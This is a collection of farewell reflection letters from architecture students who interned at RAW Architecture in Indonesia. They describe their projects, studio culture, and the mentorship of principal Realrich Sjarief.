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Kristoforus Kevin – Tarumanagara University

Time is up. Ding Dong.

To Mr. Realrich Sjarief and RAW Team

My time has come. Time to farewell to everybody I met in RAW Headquarter. Time to farewell with every pieces of memories in almost 3 Months I got in there. Farewell is doesn’t mean to forget about it, but I have to grateful for the Experience, Knowledge, Opportunity, and Time as long as I was there. Let me excerpt some wise words “You can buy anything in this world, but you can’t buy time” This is really Has a deep meaning to me, because for How much amount of money you can spend, how rich you are, Time is Everything that no one wouldn’t change it.

My debut starts in Research and Development Division to create a model of some RAW Project using the Technology called Laser Cut. Sounds normal if using that machine to make a model, but how if you operate the machine, create all of the part by your own hand. In my opinion, it was a really exciting because you got an experience maybe you’ve never got before, how does the machine works, and also from making then model, I got a Scale of Space, Soul of Space, tectonically in Raw Material, The Fineness of Architectural Detail, etc which I didn’t really mind to it before. Patient is really needed to kind of job like this, and it give me a positive effect for my personality, make me do more precisely in every single details. These things stimulate me to be ready involve in next project.

Furthermore, I was able to be a part of one office space project team I spent the most. Some were had a high level of difficulties and complexities by intense discussion among Mr. Realrich Sjarief – Owner, Mr. Realrich Sjarief to us. I saw a never ending process of exploring, developing, adjusting the design until only we create the limit for that. Creating a limit isn’t we’re already satisfied, but we create it because of we think we’re already push the limit for them. From that case, I learnt not to discover something until you can’t handle it as well, it will make you lost in somewhere you don’t understand anymore. From the beginning you have to know when it time to stop and it is useful also to know yourself deeply, why you have to stop for it. Sometimes get back in a moment can be better for yourself, it can recharge your mind, energy, spirit to continue it again rapidly.

Mr. Realrich Sjarief had ever been told us about Trimurti, consist the triple deity of supreme divinity in Hinduism in which the function of creation, maintenance, and destruction. He can correlate them in Architectural way, for instance, in this modern world, our universe got the impact of environmental damage from our ego in order to build prestige development. we didn’t conscious, what we did before affect our society. As an Architect we should be aware because if we greedy over pride, we also can be the destructor for our Natural Environment. What I’ve talking about is pictured in Alpha Omega School by RAW Architecture

In contrary, I’m amazed the RAW slogan “Architecture Mastery in Natural State” firstly, I tried to interpret what the significance is? After in RAW, I think, I might define, RAW wants to create every project with in their pure value of design by empower the craftsmanship. Natural have a million of connotation, but when we know what is the purpose, we can found pattern to answer the natural state itself. If you haven’t found it, do not fell anxiety, calm down your mind by development of sensitivity and acceptance through relaxation of the body, feeling and mind which re-tell by Mr Realrich Sjarief in one day of annual Monday discussion. Many life value were taught to us and give a refreshment for the week and also give us what are the value which we can apply in studio culture.

RAW Architecture build an initiative, interactive, responsible, and good work ethics systems which can be a positive theory for all of the people work in RAW for whatever their division. It has a strong base as an Architectural Studio which pilot to another studio in Indonesia or other countries. OMAH Library as a part of RAW Architecture also influence and Inspiring young generation who learn Architecture, or other related major of knowledge to deepen their thinking by reading a book, making an interactive discussion to be more analytical in their thoughts to aim it can be implement in studio works.

On The Other Hand, I’m Thankful too for the special opportunity to be a part of RAW Architecture, Thus, I got a plenty of Knowledge by an Interactive Studio Learning Process through discussion that happened during my time in there. If I should describe it, RAW is a Unique, Interactive, Creative, Deep and Critical thinking into the Detail and keep in Natural State itself.

To Conclude, the chance to enhance my experience in RAW, I will never forget it, and I really impressed how strong the solidarity between each other to create a nice atmosphere in studio and keep the same as the tagline “Best Office in The World “

Best Regards,

Kristoforus Kevin

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Rucha Vivek Jaykhedkar – KRVIA

I was determined to intern at RAW Architecture after I read about it. The process of application started off quite a few months back and I didn’t know if I would get the opportunity to work with their team. I was inspired by the work and ideologies of the firm and today I can’t believe that I came here and 8 weeks of my internship are already over.

I have had a wonderful experience interning at RAW. I was able to be part of different kinds of projects – residential and institutional. Some were delivered through models and some through technical drawings. The discussions in the studio with Mr. Realrich and fellow designers gave me an insight into how complex the system is- it starts with the design process of brainstorming and bringing out alternative ideas for the project, taking into consideration the site, client preferences till it finalises into a good design. Mr. Realrich says that the design process is the framework to the final product and requires to be stronger, requiring more time, thinking and the attention to detail. Not only that, each project has an underlying story and a philosophy that drives the project. I remember Mr. Realrich telling us about the Alpha Omega school and how it symbolises life and death which is very interesting because buildings impact lives of people and stand long enough to tell a story.

The philosophy classes at RAW introduced me to the ideas of some great philosophers which I did read about later. One cannot truly teach architecture. It is a skill that you develop through observation, experience and inspiration which is exactly what this class meant to me. It opened up ideas and made me think of things that I usually don’t.

Today, as an architecture student I can see that there is so much more the world of architecture has to offer. With so many emerging architects and advancing technology, it is difficult to catch up. It makes me anxious if I can survive in this field. But ‘Anxiety’ is what drives you to work more and more if you use it as your strength. I have always been in that condition since the time I joined architecture but it probably can get the best out of you as long as you are satisfied. Many of such Monday morning pep talks by Mr. Realrich have been energy boosters for all the days I have interned at RAW. He has been a great mentor and I am sure that his expertise will be an influencing factor in the works I will do in the future.

The studio environment and the RAW team has been very motivating and enthusiastic and I have a lot to take back from it. I would like to thank Mr. Realrich and the team for giving me the opportunity to experience this journey. It was a pleasure working with RAW and I wish them all the best for their future endeavours.

Regards,

Rucha Jaykhedkar

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Christine Gunawan – Universitas Indonesia

My internship is purely based on my own interest and curiosity on how to transfer myself from university to professional world. From whether I have to go straight to pursue my masters, I want to work in small developing firm or corporates to I want to make my own firm kind of plan which are no doubt, several big milestones an architect wanna-be can think about. Lucky me, Mr Realrich and colleagues in this architecture workshop has gave me opportunity and introduced me warm-heartedly to experience eight weeks of office life, studio culture and work ethics. In regards, I would express my appreciation and thank you to Mr Realrich Sjarief, associates and many designers that were willing to work closely with me and thought me both technical and visionaries experience about architecture as profession.

Today, I have come to my last  day of my independent internship program at RAW. In the beginning of the internship, I have plenty of expectation I did took notes on. And let me tell you, it is not the common ones. For instance, involved in some urban scale projects, being able to create powerful detail drawing to be used in a project, having to know how to develop a design on paper into real-life structures on ground and dealing with clients.

Guess what, only 15% of these come to life. That 15 % was being able to touch a small part of the urban scale project – which is fair enough since those are infamous expectation points a 2 months intern could have. As a reflection, many of my expected points need some extra time to be learn throughout. Many others, they just need more experience, more opportunities and more definition of an own architectural language which have always been a true challenge any architect in progress. However, I did involved in many interesting projects with Mr Realrich and team that has taught me unexpectedly beyond my expectations both technically and non technically.

Back to my former curiosity statement, being in a state of progressing as a fresh grad, I’ve always wondering what is it that a normal architect should pursue after they graduate especially in my case – the rushing and extremely anxious human being. Without neglecting my own personality, moral and values, thoughtful lessons I have got in this studio has impact my thinking in an immense way. While the world is often against the believe of architecture and underestimate the sleepless night an architect has devoted on, Mr Realrich never spend a second doubt on his calling in this field. Presumably, there are distinctions I can help to breakdown between my state and Mr Realrich state.

After a while of internships, teaching and learning as well as talks with Mr. Realrich and friends I have learn a couple of new paradigm I think many of interns should be aware of during their transition life. First of all, an idea I got from Mr Realrich perspective is that, every architect in progress would certainly need their first 10 years in their field to explore, to know what they want, to move from many self-interest to another and to grow uncomfortably. It is the only time we could hardly spend on learning and deconstructing our ego as well as not to worry if we haven’t be settle in life.  Secondly,  is how to work professionally, meaning that even if we do small things we do it with our maximum effort with the a certain quality where it is enough to be seen by others and enough to respect our own master piece. Thirdly, is how to overcome a powerful anxiety – by balancing our life. It is important not to fully spend time in front of our workstation but to also have some leisure and tidying up our sanctuary. Last but not least, is not to doubt on our believe and what we have been started as a form of gratefulness to God and the universe. Therefore, it is okay to dream big, universe will open up ways when it is truly a dream that are made for you.

At last, I could not say enough of appreciation and thankfulness for this opportunity. Wishing Mr Realrich,  associates and team a best journey a head. I has been always a pleasure to be part of RAW impactful role in architecture.

Best Regards,

Christine Gunawan

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Miftahurrahma Ridwan – Universitas Gadjah Mada

Hate to say, but I know this day will come. The day of my last internship program at RAW. It is crazy and wonderful to look back what I have done for almost eight weeks of my internship period. Starting from an empty glass that does not know how and what architecture world will look like and ends up picturing the world that will be embraced after my college period and lucky me Mr. Realrich and colleagues in this office has gave me opportunity and let me kind-heartedly to experience eight weeks of office life, work ethics and studio culture.

Flashback on my first day as an intern, I must have bunch of list the things that I want to learn about the world of architecture. It is start with designing a building and learning about concepting design, how to transform a form and until I reach how to designing an urban scale. Indeed, what could we expected from two short months and expecting that I could master all of that, right?.  But what the best I got is how the process of being someone who is great at conceptualizing design, the process of being someone who is great at transforming a design, and also someone who is great at things of curiosity.

As everybody said that we can’t eliminate the process from the meaning of successful. Once Mr. Realrich said the process is a phase of self maturation and from that phase we can learn how to be the best side of us.

Honestly, as a student who is still learning and still green in the world of architecture I do still get anxiety about world of architecture in forward. Sometimes it still feel not enough from the intense competition, sometimes I also fell my design is not strong enough to waken somebody or impressed somebody. But seeing Mr. Realrich and colleagues worked on a project made me realize that anxiety never left us. From all of the point, what all we need is how the anxiety can become one of the strengths and encourage us to do as much as possible and become the best version of our self.

Many things that Mr. Realrich and colleagues have done either realized or not have opened my architecture’s eyes in a right way. First of all, is a sincerity and determination. If you are being serious then do it until the end and even though there will be a small problem on way through of it which will make you bigger. Secondly is, how to control anxiety. Even though Mr. Realrich and Le Corbusier itself has anxiety and they success control it and become undoubted person. Thirdly is, a paradigm in seeing the architecture’s world. It is not only the title of job or work but make it to part of your life. Fourthly is, time management. Always try to have enough space to get relax from all the works. Fifthly is, be a professional person. This point I get when I working on the details of the building of a project or even when I was working on the model. Even the details of the detail must be considered and if we do a small thing we do it with a maximum effort. Sixthly is, Sumarah. This is really hit my heart when Mr. Realrich told us once. And indeed, of all of the work that has been done, we must give it up to the supranatural elements that we believe in. And sometime I think that sumarah is the highest stage of a job. When we reach the maximum of our work and let the spells  work on their own.

And still even at last statement of my paper, you guys not know how grateful I am being given this opportunity and feel this journey with all of you. I hope nothing but best for Mr. Realrich and colleagues in forward and always been pleasure to take this trip with RAW Architecture.

Thank you.

Best Regards,

Miftahurrahma Ridwan

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Nardi Kurniawan – Bung Hatta University

1% to 99% . . .

For the first of all, I would say thank you to RAW team who take me become part of meeting member every monday at RAW for 4 month to discuss many project. I definitely have learned a lot here, thanks to everybody who was so helpful especially to associates who always not only just gave a lesson but fully motivation and designers to, always laughing and full of happiness everyday. This place breathed new perspective on so many things into my thought, not only on architecture but on creativity and management in the sense of design. I was so grateful, and still am, to be a part of RAW even for just a brief moment.

I would especially thank to kak Rich for sharing many knowledge. I’ve never met anyone so genuinely into educating people like him. Kak Rich thought me the point when you want to be a better person you must in good Precision, discipline, good attitude, always think hard and study everywhere you stand. I amazed to kak Rich for his honesty. I amazed because he has a high integrity in doing his job and he thought of everything from the smallest thing to the big thing, all about work of RAW Team from design process to build process and and he thought of all the workers. Besides it, Kak Rich is very concerned about each of his men in work and health. He always told to work at clean table.

Thank you RAW to given me opportunity to learn more about architecture here. I learned about the design process. I studied step by step in the design process. Revision by revision should always be undertaken without any discouragement. I learned to remain calm and focused even experiencing pressure and obstacles. I’m aware this process will make a better design. Andry house and family is one of many project I designed with RAW Team, this house with triangle skylight adoption from Church of Firminy by Le Corbusier, this house is amazing without of the box skylight at roof.

And finally, thank you for all internship friends, and all RAW team, thank you so much RAW Architecture for letting me to be a part of you for 4 months. Thankyou so much for your kind guidance on this valuable times that I would never forget. The best office in the world – R A W.

Best Regards

Nardi Kurniawan
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Irfan Hidayat – Bung Hatta University

First I would like to thank full to Mr. Realrich permit I intern at RAW. 4 months time I think is a very short period of time in I draw knowledge in RAW because it all outside suspected i. because many interesting things and unique events in addition to the knowledge that I get.

Why did I choose internship ?, because I taste before completing study learning in campus, I feel that there is something different if i immediately slumps from the know more down or get work experience before completing the lecture. because many factor that convinced me to intern, in Campus itself only teaches even though there are some practice. In fact in the work obtained make the largest experience because many things outside the suspected i obtained. I see the world that work is not easy and not as envisaged. I know how the architect profession, see and experience of learning given by Mr. Rich, he figure that teaches we should be able to survive despite the harsh the flow of life, besides things that make I was impressed with the paper and the building that makes me know how we should be in designing. In addition how do we face the client and how to overcome all its problem field and solutions that I watch itself is not easy. And from there I take the lesson.

Where I draw the science named with castle bamboo where in the castle Bamboo itself there are many people that have a role in the survival of i learned, many older sister funny and exclamation point that guide me in 4 months. I also would like to thank associate, the designer and the employees who participate help me during in RAW. In addition to the knowledge and experience of many interesting things that I feel at bamboo how daily routines that they do make something fun and not make me bored. I will yearn for the atmosphere like this. So also some traditions as I feel included in the pool held if there are members or employees who repeatedly years. And there are many things unique and interesting again, the conclusion of all that I get in the RAW is something that is very valuable because it might not i will get outside there. From that I did not know what the world of work in the field of i until I know how the working world.

Thank you very much I say to associate kak Mifta, Kak Asep, Kak Ali, guiding me and apologize when there is something that is less acceptable for i in RAW and I thank kasi also for older sister designer Regi, Dini, Aga, Memey, Fiona, Nida, Gomes, Tirta, Laras, Icul, Irul, Khafid, Haris, Bangkit, and all the admin that friendly to me. Hopefully my experience in RAW become a stepping stone me to work harder in achieving my dream to become an architect. Always so best office in the World RAW.

Best Regards,

Irfan Hidayat

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Bobby Naiggolan – Atma Jaya Yogyakarta University

My special thanks to Mr. Realrich, Assosiates and Designers for giving me best experience for 16 weeks in studio. 16 weeks is not a short time but it feels very faster with the atmosphere of the studio because too much fun and too far from the word of boring. This studio is not like the general studio in Jakarta, either in terms of long time in the studio or the atmosphere while in the studio. This studio is unique, you can start start at 8 am and will finish when all your targets are reached in that day. But I really impressed with Mr. Realrich’s team because all designers and assosiates very friendly for me, they are also able to melt the atmosphere when the atmosphere is a little hectic and of course they are very respect for each other. That’s what makes the time in the studio does not feel so long, we really enjoy with this atmosphere.

There are so many fun things I did with the team during in studio, from being a radio host with very strange and unique songs, playing music while bored, playing pingpong when coming home early, listen the joke of a friend in the studio and take a break in the next market to just take a rest and make some joke.

With the guidance of Mr. Realrich, associates and designers, WI can learn many things from the length of a designing process. 4 months I spent focusing on one unique project, from which I took a lot of lessons about how the quality of teamwork work can be very helpful to push all the existing targets. In the process of designing Mr. Realrich also always taught for team 1. Big or small the project, everything should be based on existing data and standards. 2. Always detail even the smallest things, because of the small details that will be give a big impact. 3. Never lose your arguments from what you have told and the sources you get, 4. Always want to learn again and again, by reading books and writing, 5. Have a good communication and one thinking with the team. 6. Responsibility on the team of course.

For me, Mr. Realrich is not just a great architect, more than that he is a great inspirator to never give up on my dreams, and help convince me to be brave again to look at the future. Mr. Realrich is also a figure I can say as a “role model”, a leader who cares about the team, very totality to the every details, and always want to push us to get even better in the future.

Therefore, I am very grateful to have a great mentors, a good friends and was once part of the RAW family. Thank you so much for all guidance in this very limited time. I will never forget this experience, I’ll see you on top guys.

Best Regards,
Bobby Juanda

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Gregorius Jasson – Tarumanagara University

Jakarta, 12 April 2018.

Dear Mr. Sjarief,
It’s been 2 months since I finished my internship programme at RAW Studio. From my sincere heart, I’m very thankful for you and rest of team to give me such opportunity in experiencing direct practice as professional architect.

Many new knowledge and insights I got during the programme period. I learnt that architectural drawings still had to be updated, even the projects were already done, as necessary for further owner’s civil administrations and auditing process on company works. Routine documentation process on site is also important to maintain the projects quality control and provides back-up project data for emergency causes.

I also learnt about one important thing in architectural practice: Trust. The way to maintaining trust with other co-workers in organizing and developing projects through intensive discussions and reviews. The trust which constantly exchanged between design, finance, and builder divisions in order to keep construction process on site properly executed as plans. The same trust that also came from owners toward project development which I believe it couldn’t be well-executed without their feedback. From these things I can conclude if architecture works, no matter how it looks amazing or innovative, won’t be meaningful if we couldn’t keep trust in every aspects of its process.

While I’m working in here, I was very enjoying the workplace ambience and your teamwork were really helpful and supportive to me. Only the studio office hours could be set more early, since I took a long route to go and back from office to my home at Harmoni, Central Jakarta.

Aside from it all, I’m very grateful to experiencing these things with RAW team. This internship programme has giving me more determination to become a capable architect, not only in technical skill or theoretical thoughts but also on keeping up relationship with project partners.
Thank you for your consideration and kindness to let me join your studio. I’m also apologize if I unconsciously made mistakes while working on your projects. I hope we could meet again and working together as one team in the future. Once again, thank you very much.

Best regards,
Jasson.
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Yoseph Duna – Atmajaya Yogyakarta

I write this letter based on my experience during internship in RAW. My big thanks to Mr. Realrich Sjarief and RAW team.

2 months – It’s not a long time. But what I got during the 2 months of internship in this office far exceeded all my expectaions. The two months I’ve been through are short-lived, but the experience I get is so much and worth it.

Through the RAW team, I learned about the design process. Apparently what has been learned in the world of college is nothing compared to in the world of work. I studied step by step in the design process. Revision by revision should always be undertaken without any discouragement. I learned to remain calm and focused even experiencing pressure and obstacles. I’m aware that this would shaping me up to be better.

I amazed at Mr.Realrich for his honesty. I amazed because he has a high integrity in doing his job. I amazed when I see he prefer to let go of profit for the sake of working cleanly. Besides, Mr. Realrich is very concerned about each of his men in work and health. He always gives us education through work so that every day we can get better.

I once again salute to each RAW team for their efforts, and I learn a lot from it. During this internship, I realized that the main reason RAW can be as good as it is today is not because there are super great and legendary people inside. I realize RAW can succeed because it contains people who are always trying, people who struggle furiously when they have set a goal in its work. Whether it works or not, wether succeed of fail, I really like people like this. I wish I could be like them, striving hard to achieve my life’s desires and goals.

The apprentice 2 months have passed. But my journey in architecture doesn’t stop here. Thank you for the lessons for 2 months, now I will try hard and give my best to be better.

Thank you RAW for everything.
Sincerely,

Yoseph Duna
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Sanjida Amir Trina – BRAC University

“A Family” – More than a Office

I never thought my first working experience as an intern would be turnrd out so overwhelming. In memory of 14 weeks, my intern life as a part of ‘RAW’ family,is unforgettable.

6 September 2017 was the first day of working experience with the “Dream Team”. I still remember how everyone cordially welcome me & make myself as a part of ‘RAW’ family on the very first day though I was a foreigner for them.

Besides, if I describe about my working experience I would say the ‘RAW’ people helped me a lot to give the best performance out of myself. Starting from hardcore dedication for work to enjoy every bit of it,I learned all of them from ‘RAW’. They always had given the exposure to improve my concept generation, sketches, fenestration study,plan developing,3D,model making on several projects. Besides, if I describe about my working experience I would say the ‘RAW’ people helped me a lot to give the best performance of myself. Starting from hardcore dedication for work to enjoy every bit of it,I learned all of them from ‘RAW’. They always had given the exposure to improve my concept generation, sketches, fenestration study,plan developing,3D,model making on several projects.Within this 3 Months I developed my technical skills a lot. My Auto CAD drawings,3D modeling, Photoshop etc skills just got better in every other day.

Furthermore Mr. Realrich inspired and suggested me to learn a new software (ArchiCAD) before I have returned to my country. it’s surprising that just in 20days I learned lot about ArchiCAD and abled to finish two projects drawing using this software. It wouldn’t have been possible for me to learn this in a very short time without the help of all the architects and specially Mr.Erik. I can’t thank enough all the architects to teach all the small techniques and commands. Along with that Site visits from office to few projects also enriched my knowledge about construction details, understanding drawings,site working environment and a lot of things.

On the other hand, the office environment was never like only doing works. It never gave me the chance to get bored. It was always a delightful,fun loving environment not only for me but also for the others intern. Moreover the working environment was very friendly. I have always found the spark of work,fun within it,comfort zone and a supportive vibe while working.

I am very glad that I got a boss like Mr. Realrich who always cherished and inspired my work. In a meeting of one Monday he said, ‘ I don’t treat Trina as an intern, I treat her as a designer of here’. I can’t express how much this words motivated me to the next level. He is a kind of person who never acted like a typical boss rather he chose to be a great advisor. I would say it is the rare virtue and capability of him and his ‘Dream Team’. My words will be less if I start thanking and describing about Septrio,Ali,Miftah,Nida,Icha,Gomes,Regi,Yuli,Tirta,Aga,Bangkit and the other members of ‘RAW’. I am blessed that I met this people who were beside me starting from facing difficulties in works to making me comfortable while feeling homesick.

Last but not least,the learnings,the motivation and the support and love I have taken from ‘RAW’ will always enlighten and cherish my working diary of Indonesia.

This is the ‘ Best Office in the World’ indeed.

Terima Kasih
Rregard,
Sanjida Amir Trina

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Ishani Dayal – SMVDU

So, finally the last day has arrived.

I didn’t ever think that these 4 months would vanish off as if anything!

I’m very delighted, getting an opportunity to work in RAW Architecture as an intern. This is my the very first experience of working, that too outside my country and it has been the “perfect” one!

During my time in RAW, I am gained skills that are not accommodated by institution, but in the real industries, what we understood as an architect student is, completing all the design process and producing such killer visuals. However, the real industries say, completing them, is just the very first process of completion.

Within these months, there are a lot of projects I get to work on, it was mostly residential and the other was commercial uses like an office. I’ve got a lot of help from the designers while working on these projects. There are so many steps I learnt on the projects starting from the sketch, designing plans, facades, developing 3D, detailed drawings, until making presentations and models. Not only designing a building, here I also get to learn about building construction. I got to visit the project site multiple times, discussing things with the structural/MEP engineer, and meeting more detailed problems on the site. Well, these kinds of process always be the most interesting.

I have never ever imagined my habit would change, including my mindset, the working environment is superb, very light, very chill, when there has to be seriousness, there is serious environment, otherwise, it’s amazing.

Those warm welcome as I reached and started working in office, started blending in with people here will always stay in my memories, which though I have a lot of them by now!

Through this platform I want to thank, Mr. Realrich, for letting me in this office and made me feel as one of his own; the associates, Miftah, Ali, Asep, wouldn’t thought of getting such cool mentors ever that too in such an intensive working place; the designers, Ica, Regi, Yuli, Jajo, Tirta, Aga, Nida, Gomez, Fiona, Meme, Damar, Laras, Erick, thank you for teaching me from work area till the basic local necessities, guiding me step by step and making me feel as one of yours. And last but not the least, the interns, Filie, Dody, Aussie, Sigit, Lady, Zabel, Bea, Fahry, Neya, Regina, Linton, Adot, Yuki, Riza, Aris, Trina, Aron, Ivan, for everything, starting from language, to places, for telling ha-ha wrong words (they did come in use btw).

I do owe a lot to all of you and hope to meet at some corner of the world 😊

Terima Kasih

Signing off
Ishani Dayal

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Linton Sianturi -Universitas Bandar Lampung

From Nothing To Something

Maybe that phrase describes me during my internship at RAW.
For 2 months I have completed my internship program in RAW It may be a very short 2-month period to have extensive knowledge in the world of architectural work. But here I can learn many things in terms of intimacy, togetherness, in addition to the thing about architecture.
It’s one of the best companies in Indonesia probably also in Indonesia. I am grateful for Principal Architect Mr. Realrich for me can do an internship program at Summer Fellowship Workshop 2017.

RAW is a place where I can learn whose name learns from our flaws not what our strengths are. I understand what is conveyed from our imagination into a design concept. Here also know and learn new things that I can not on my campus, ranging from softskill and our attitude in work.
I also learned that giving from best of good. From creating a floor plan that we have to understand and what goals we make for what. And we must also have sufficient precedent and who draw a concept until the client is willing to accept with the expected satisfaction.

And here I know that from a process that is done creatively and following the rules will produce satisfactory results.
I am also grateful for Associate Designers Kak Mifta, Kak Ali, Kak Asep for me to be able to add experience in RAW useful.
I am also grateful to the Designers, Aga, Tirta, Jajo “who have resigned”, Nida, Ica, Regi,
Gomes, Yuli who taught and guided me during my internship here. They are the “Dream Team” who can do anything, do a funny joke from a radio announcer to an impromptu music player

Finally, I would like to thank all the RAW teams who helped me learn during my internship here.

Keep be a best office in the world.
Thank you RAW !!

Regards,
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Regina Chandra -Melbourne University

This internship was my first work experience, and I am grateful that I’ve got the opportunity to do my internship here. The office has helped me to develop constructive working habit that I could carry on to wherever I will go next, be it in context of professional ethics or design method. The interns were also not treated only as a mere helper to lessen the burden of work. The associates and the designers were very patient in guiding us, and despite lacking the skill to do certain job they still entrusted us to do it so we could learn, although it means extra job for them to teach and sometimes to fix the work. Knowing how some office would consider teaching beginners as bothersome job makes me appreciate it even more. The people at RAW has helped me to make the transition of learning from formal architecture education to the real practice as easy as possible, although I am also a bit wary now as I have unrealistic expectation of how an architecture office should be like.

In addition to learning a lot about architecture, I have learned as much from the people I met during the past 4 months. On one of our weekly monday meeting I remember Kak Rich said that if you got stuck, you should be careful because it could be an indication that you are being autistic and only going around in your own world. As an introvert, I have probably got stuck and going around in my own world for quite some time, and working here was a quite good wake up call to venture into new things that I was not aware of before. Everyone I encountered here has something new and positive to teach, and working together with them for long hours gives you no choice but to pick up some of their contagious passion and enthusiasm.

Finally, thank you for the valuable learning opportunities and for letting me be a part of this unique office during the 4 months of my internship. Keep growing, keep teaching and keep being inspiring
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Sigit Prayogo -ATMA JAYA

22 weeks.

22 weeks is not a short time to gain knowledge in RAW. But 22 weeks feels faster when working with dream team (mr.Realrich call them).

20 febuary 2017 I made my internship debut with dream team. Many things I think that apprentices will feel tense and boring. After 2 weeks running I am more familiar with working in RAW and my assumption about internship is gone with time.
Talking about the project , many lessons I get from projects I work with with employees and interns. One of the projects that I will remember is Floating Cafe Grand Kamala lagoon, the hardest thing at that time was the first time I had to interpret the strokes of mr.realrich into 3D Sketch up, thanks to the many floating cafes that take up so much time. Apart from that all this shows that, when apprenticeship in RAW apprentices are given the opportunity to expose as many ideas as possible and RAW is very open to these ideas. Not always working on 2D drawings, apprentices are also given opportunities ranging from following, brown bag, concept design, programming, 3D and 2D exercises, site visit, short lecture with mr.realrich. Almost all the processes that run in RAW I follow and learn. Plus value that obtained by apprentice in RAW is a book library that is complete and also OMAH program. I think raw is the place that has a very high sense of concern with the world of architectural education in Indonesia, very visible how to RAW respond all apprenticeship.

Talking about the working atmosphere in RAW regardless of project, the working atmosphere at RAW is great fun away from the boredom. Although, tense often approach. The tense atmosphere can be solved by the talents of a comedian and the talent of being a growing singer in each employee and lucky, I have very supportive apprentices. Maybe this is what I feel when I’m internship in RAW.

The things I will remember and miss is when it is late afternoon and all rush to the cafe next door for noodle and coffee time. When there is a sound “sekarang atau tidak sama sekali” it is the time when it’s time to go to ‘warung sebelah’ (we call the store) . Then, Sport session is one of the most highly anticipated programs every week. And an honour to play futsal with RAW team that only exist every 4 years. Then also the office atmosphere suddenly turned into like a radio broadcasting office and Ka Ali as a radio announcer on TVM.fm hahaha ….. thanks for the best moments. Here, I learned that a supportive working environment will make a person more loving his work. So that, we can work better.

Thanks to the dream team, especially mr.Realrich Sjarief, associates, designer, Bangkit, DOT workshop members, admins, internships, and who always remembered “Eggplan boys”. Thanks for all knowledge and time given.
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2017-ITB-Annisa Zakira Fillah

It hasn’t been a long time since I left the office desk in RAW. Two months has passed, and here I am, receiving so many learning and experience through my intern period. This internship was actually the second intern I took to get work experience. The first one was in PT Perentjana Djaja, which is a big company and focused more on government projects. For the second time, I felt so curious about working in a smaller office, which is focused more on its design and also has a good recognition. The curiosity, interest, and recommendation from my seniors finally took me to this incredible work experience at RAW.

RAW itself is a developing company which has shown its creative ideas through the projects, such as several of them on the archdaily website. This was exactly the same impression I’ve got when I first entered its office. Unique, cozy, and fun ambience are all in this work place called ‘The Guild’ (which has so many spot to explore!). These kind of atmosphere at work of course wouldn’t be the same without all the staffs and my intern companion, who are really nice, fun, and outgoing people. We spent our time a lot in The Guild working, eating, resting, discuss things, or even just chilling while eating bread.

Working at RAW, I’ve got new perspective on how the design process delivered in every project. The feeling was very different comparing my previous intern at a ‘more-governmental’ company. The goal here is not only about how projects is done, but also how its perfectly done and give good impression to the clients. The process itself never been so easy, a lot of rejection, review, and changes to the design is happening all the time. In here it is very important to bring the project its own identity and uniqueness. I found it very interesting in RAW because the design process can be delivered nicely to every staffs in there. The sharing and discussion definitely was helping the process. It was quite new and different way from what I’ve got in college, so I think this was a really good opportunity.

Within two months, there are a lot of projects I get to work on, it was mostly residential and the other was commercial uses like an office. I’ve got a lot of help from the designers while working on these projects. There are so many steps I learnt on the projects starting from the sketch, designing plans, facades, developing 3D, detailed drawings, until making presentations and models. Not only designing a building, here I also get to learn about building construction. I got to visit the project site multiple times, discussing things with the structural/MEP engineer, and meeting more detailed problems on the site. Well, these kind of process always be the most interesting.

Through this reflection letter, I also want to thank Mr. Realrich, who gave me this great opportunity and the one who always inspiring; Miftah, Ali, Asep, and Aki, as the associates who taught me well about working on different projects; Jajo, Gomes, Yuli, Tirta, Laras, Damar, Aga, Ica, and Nida, the people whom I made so many mistakes but still taught me a lot; also the friends who rode a same boat with me: Ishani, Bea, Lady, Aussie, Regina, Neysa, Sigit, Zabel, Aron, Fahry, Ivan, Riza, Yuki, Dodi, Aris, Linton, and Adot. I really owe these people a lot and I hope we’ll meet again in another opportunity.

Regards,
Filly
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Neysa Difi -Northumbria University

“The experience of apprenticeship has become more enthusiastically more than I could ever imagine before”. Well, that’s the best line that could describe my experience here after all.

I never thought architecture, is more than imagining, creating spatial in term of its aesthetic and own desire. But however, architecture should be understood as a solution offer for a better living, solving any spatial issues that happened in the society. The art of designing is just a little part of creating a better solution to the society.

During my time in RAW, I am gaining skills that are not accommodated by the learning institution, but in the real industries. what we understood as an architect student is, completing all the design process and producing such killer visuals. However, the real industries says, completing them, is just the very first process of completion.

Here, I gain so many precious skills that university could not ever give. Understanding the management of all stages, one skill that i gained, toward the completion of particular spatial design until those ideas become the vivid solutions for any particular problems. This experience also helps me to discover the clear image how the industries will be. The clear images of the next step after designing, for instance creating technical drawings with all responsibility as it would be a core to a better human living. I am understand that creating a perfect, flawless technical drawing is just ever happened. Despite mistakes and flawless at field is often inevitable. That’s how important of surveillance of every stage of construction. This understanding continues to the deeper meaning in term of communication. Not only communication verbally, but the necessary of visual communication. It means that, as an architect, we have to create all the informations clear to everyone, to maintain the clear communication in every stages. All of the skills above and there are more that could mention if i got more space, are precious skills ad experience that money could not ever buy.

The studio itself, is a place to learn, there is no limit in impossibility. The process of designing is still the same thing in University. As you know, no pain no gain. Sometimes you have to be feel tortured as part of your learning. But at the end of the day, the satisfaction and pride of you are better than the yesterday you.

Referring back to the first statement that I wrote, RAW believes in us (even we are not) They are ENTHUSIASTICALLY believe on us to do everything. Literally, even all the crucial stages during construction which I think that is what make us learn a lot, RESPONSIBLE of what we are doing, and confident in taking future decision. I said it is so challenging yet it increases our enthusiast.

Thankyou so much for all the colleagues, and friends. For all the times that we spent together, for all our laughters and sharing.
precious time, precious experience.
THANKYOU RAW

Regards,
Neysa

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Ivan Fadhilah-BINUS

Hello, my name is Ivan Fadhilah. And I just have finished my internship at RAW Architecture. It has been six months already, ever since I walked down toward this rustic greyish building, with its skylights on the rooftop. Now, I’m writing this words in my curvilinear table in the corner of the working room. I’ll be missing this atmosphere, of course, even the “leaf” door-shaped and all the unique detail inside this working space.
I remember how my first day here, in the center room with plafond bare concrete, ran well started by morning briefing with all the friends internship, designers, and associates. We always discuss about progress last week and for next week. In Discussion for weekly meeting we always happy because many people telling about their last week progress.
There are Kak Rich, as the principal, then senior architects, associates, who will keep an eye to me during my working time, just to make sure that I do my project clearly, and always sprightul helping you with their ideas and advices. I have used many software in six months for several project and design study with crews inside. In six mounths I already could use the programs such as AutoCAD, 3Dmax, Photoshop, Archicad, Sketchup and V-ray correctly. The crews taught me with patience and clear guides.

